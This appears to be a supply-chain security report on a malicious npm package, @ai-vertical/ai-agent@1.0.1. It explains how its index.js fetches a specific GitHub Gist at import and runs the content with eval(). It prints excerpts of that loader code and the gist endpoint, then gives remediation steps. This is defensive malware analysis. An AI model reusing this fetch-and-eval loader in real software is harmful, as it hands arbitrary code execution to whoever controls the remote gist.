registry / Remote code execution / @ai-vertical/ai-agent
@ai-vertical/ai-agent
This report shows the evidence for @ai-vertical/ai-agent@1.0.1. 2 of 3 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe package implements an immediate remote-payload loader and dynamic evaluator with no integrity check, user action, or package-aligned functionality. This is concrete remote code execution, despite the absence of lifecycle scripts.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Requiring or importing the main entrypoint (index.js).
Impact
Arbitrary remote JavaScript runs with the importing application's privileges.
Mechanism
top-level remote gist fetch followed by eval
Attack narrative
When the package entrypoint is loaded, it requests a specific GitHub Gist through the GitHub API, extracts the first returned file's content, and evaluates it. The remote Gist can be changed independently of the published package, giving its controller arbitrary code execution in every consuming process that imports this package.
AI rationale
The package implements an immediate remote-payload loader and dynamic evaluator with no integrity check, user action, or package-aligned functionality. This is concrete remote code execution, despite the absence of lifecycle scripts.
Evidence
index.jspackage.json
Network endpoints1
api.github.com/gists/7676451d2f972137d2482c4a8937a77a
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- index.js derives a GitHub Gist API URL and fetches it at module load.
- Fetched gist content is selected dynamically and passed directly to eval().
Evidence against
- package.json has no preinstall, install, or postinstall lifecycle hook.
- The inspected package contains only package.json and index.js; no benign implementation constrains the remote payload.
Behavioral surface
EvalNetwork
HighEntropyStringsUrlStrings
Source & flagged code
7 flagged · loading sourceindex.jsView file
1const gisturl =
L2: "https://gist.github.[redacted].js";
L3:
...
L6: fetch(apiTarget)
L7: .then((response) => response.json())
L8: .then((data) => {
...
L10: const scriptText = data.files[firstFileName].content;
L11: eval(scriptText);
L12: });
Critical
Remote Asset Decode Execute
Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.
index.jsView on unpkg · L1•Trigger-reachable chain: manifest.main -> index.js
Reachable file contains a blocking source-risk pattern.
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
index.jsView on unpkg10const scriptText = data.files[firstFileName].content;
L11: eval(scriptText);
L12: });
High
•matchType = normalized_sha256
matchedPackage = @sqlite-prime/createsql@1.0.1
matchedPath = index.js
matchedIdentity = npm:QHNxbGl0ZS1wcmltZS9jcmVhdGVzcWw:1.0.1
similarity = 1.000
summary = normalized source hash matched finalized malicious source
Findings
2 Critical5 High2 Medium3 Low
CriticalRemote Asset Decode Executeindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighEvalindex.js
HighKnown Malware Source Similarityindex.js
HighKnown Malware Source Fingerprint Signatureindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @ai-vertical/ai-agent@1.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing @ai-vertical/ai-agent@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.